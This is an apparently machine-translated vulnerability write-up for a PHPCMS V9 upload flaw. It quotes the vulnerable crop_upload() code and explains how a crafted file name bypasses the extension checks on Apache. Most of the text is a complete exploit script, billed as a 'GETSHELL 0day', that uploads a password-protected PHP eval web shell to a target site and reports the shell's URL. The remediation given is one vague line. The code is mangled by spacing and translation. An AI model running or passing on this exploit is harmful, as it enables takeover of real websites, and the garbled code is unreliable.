Vulnerability file: phpcms \ modules \ attachment \ attachments. php public function crop_upload () {if (isset ($ GLOBALS ["HTTP_RAW_POST_DATA"]) {$ pic = $ GLOBALS ["HTTP_RAW_POST_DATA"]; if (isset ($ _ GET ['width']) &! Empty ($ _ GET ['width']) {$ width = intval ($ _ GET ['width']);} if (isset ($ _ GET ['height']) &! Empty ($ _ GET ['height']) {$ height = intval ($ _ GET ['height']);} if (isset ($ _ GET ['file']) &! Empty ($ _ GET ['file']) {$ _ GET ['file'] = str_replace (';','', $ _ GET ['file']); // filter the semicolon if (is_image ($ _ GET ['file']) = false | strpos ($ _ GET ['file'], '. php ')! = False) exit (); // is_image () detection is a key if (strpos ($ _ GET ['file'], pc_base: load_config ('system ', 'upload _ url '))! = False) {$ file = $ _ GET ['file']; $ basename = basename ($ file); // obtain the filename with a suffix if (strpos ($ basename, 'thumb _')! = False) {$ file_arr = explode ('_', $ basename); $ basename = array_pop ($ file_arr);} $ new_file = 'thumb _'. $ width. '_'. $ height. '_'. $ basename;} else {pc_base: load_sys_class ('attachment ', '', 0); $ module = trim ($ _ GET ['module']); $ catid = intval ($ _ GET ['catid']); $ siteid = $ this-> get_siteid (); $ attachment = new attachment ($ module, $ catid, $ siteid); $ uploadedfile ['filename'] = basename ($ _ GET ['file']); $ up Loadedfile ['fileext '] = fileext ($ _ GET ['file']); if (in_array ($ uploadedfile ['fileext'], array ('jpg ', 'gif', 'jpeg ', 'png', 'bmp ') {$ uploadedfile ['isimage'] = 1 ;} $ file_path = $ this-> upload_path.date ('y/md/'); pc_base: load_sys_func ('dir'); dir_create ($ file_path ); $ new_file = date ('ymdhis '). rand (100,999 ). '. '. $ uploadedfile ['fileext ']; $ uploadedfile ['filepath'] = date ('y/md /'). $ new_file; $ aid = $ Attachment-> add ($ uploadedfile);} $ filepath = date ('y/md/'); file_put_contents ($ this-> upload_path. $ filepath. $ new_file, $ pic); // controllable file name, $ pic controllable} else {return false;} echo pc_base: load_config ('system', 'upload _ url '). $ filepath. $ new_file; exit ;}} suffix Detection: phpcms \ modules \ attachment \ functions \ global. func. php function is_image ($ file) {$ ext_arr = array ('jpg ', 'gif', 'png', 'bmp ', 'jpeg', 'tiff '); $ ext = fileex T ($ file); key: return in_array ($ ext, $ ext_arr )? $ Ext_arr: false;} key function: www.2cto.com function fileext ($ filename) {return strtolower (trim (substr (strrchr ($ filename ,'. '), 1, 10);} The Fileext function is used to extract the file suffix. If the uploaded file name is ddd.php.jpg % 20% 20% 20% 20% 20% 20% 20Php, the suffix extracted by this function is still jpg, so the suffix detection in the is_image () function is bypassed. Return to the public function crop_upload () function. if (is_image ($ _ GET ['file']) = false | strpos ($ _ GET ['file'], '. php ')! = False) exit (); after the is_image is determined, a new one is generated. php judgment. Here the programmer is using the strpos function. This function is case-sensitive. We use it. php can be bypassed directly. The above two layers of filter our ddd.php.jpg % 20% 20% 20% 20% 20% 20% 20Php suffix is still valid. The last basenamevariation value is ddd.php.jpg % 20% 20% 20% 20% 20% 20% 20Php, and then the file_put_contents function is used to write data to the specified directory. See the suffix ddd.php.jpg % 20% 20% 20% 20% 20% 20% 20Php. you should understand that it can be parsed on servers built by apache.
Exp: <? Phperror_reporting (E_ERROR); set_time_limit (0); $ pass = "ln"; print_r ('+ response + PHPCms V9 GETSHELL 0DAY code by L. n. apache is applicable (apache parsing vulnerability exploited) + parse + '); if ($ argc <2) {print_r (' + parse + Usage: php '. $ Argv [0]. 'url path Example: 1.php '. $ argv [0]. 'lanu. sinaapp. com2.php '. $ argv [0]. 'lanu.sinaapp.com/phpcms + response + '); exit ;}$ url = $ argv [1]; $ path = $ argv [2]; $ phpshell =' <? Php @ eval ($ _ POST [\ ''. $ pass. '\']);?> '; $ File = '1. thumb _. php. JPG % 20% 20% 20% 20% 20% 20php'; if ($ ret = Create_dir ($ url, $ path) {// echo $ ret; $ pattern = "| Server: [^,] +? | U "; preg_match_all ($ pattern, $ ret, $ matches); if ($ matches [0] [0]) {if (strpos ($ matches [0] [0], 'apache') = false) {echo "\ n! This website is not an apache website. \ N "; exit ;}}$ ret = GetShell ($ url, $ phpshell, $ path, $ file); $ pattern =" | http: \/[^,] +? \.,? | U "; preg_match_all ($ pattern, $ ret, $ matches); if ($ matches [0] [0]) {echo" \ n ". 'password :'. $ pass. "\ n"; echo "\ r \ nurl address :". $ matches [0] [0]. 'jpg % 20% 20% 20% 20% 20% 20% 20php '. "\ n"; exit;} else {$ pattern = "| \/uploadfile \/[^,] +? \.,? | U "; preg_match_all ($ pattern, $ ret, $ matches); if ($ matches [0] [0]) {echo" \ n ". 'password :'. $ pass. "\ n"; echo "\ r \ nurl address :". 'http ://'. $ url. $ path. $ matches [0] [0]. 'jpg % 20% 20% 20% 20% 20% 20% 20php '. "\ n"; exit;} else {echo "\ r \ n didn't get it! \ N "; exit ;}} function GetShell ($ url, $ shell, $ path, $ js) {$ content = $ shell; $ data =" POST ". $ path. "/index. php? M = attachment & c = attachments & a = crop_upload & width = 6 & height = 6 & file = http ://". $ url. $ path. "/uploadfile /". $ js. "HTTP/1.1 \ r \ n"; $ data. = "Host :". $ url. "\ r \ n"; $ data. = "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv: 5.0.1) Gecko/20100101 Firefox/5.0.1 \ r \ n"; $ data. = "Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8 \ r \ n"; $ data. = "Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3 \ r \ n"; $ Data. = "Connection: close \ r \ n"; $ data. = "Content-Length :". strlen ($ content ). "\ r \ n"; $ data. = $ content. "\ r \ n"; $ ock = fsockopen ($ url, 80); if (! $ Ock) {echo "\ n ". "This website does not respond, check whether the url is entered correctly ". "\ n"; exit;} else {fwrite ($ ock, $ data); $ resp = ''; while (! Feof ($ ock) {$ resp. = fread ($ ock, 1024);} return $ resp;} function Create_dir ($ url, $ path = '') {$ content = 'I love you '; $ data = "POST ". $ path. "/index. php? M = attachment & c = attachments & a = crop_upload & width = 6 & height = 6 & file = http://lanu.sinaapp.com/1.jpg HTTP/1.1 \ r \ n "; $ data. = "Host :". $ url. "\ r \ n"; $ data. = "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv: 5.0.1) Gecko/20100101 Firefox/5.0.1 \ r \ n"; $ data. = "Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8 \ r \ n"; $ data. = "Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3 \ r \ n"; $ data. = "Connection: close \ r \ n"; $ data. = "Content-Length :". strlen ($ content ). "\ r \ n"; $ data. = $ c Ontent. "\ r \ n"; $ ock = fsockopen ($ url, 80); if (! $ Ock) {echo "\ n ". "This website does not respond, check whether the url is entered correctly ". "\ n"; exit;} fwrite ($ ock, $ data); $ resp = ''; while (! Feof ($ ock) {$ resp. = fread ($ ock, 1024);} return $ resp;}?>
Solution:
Filter and filter again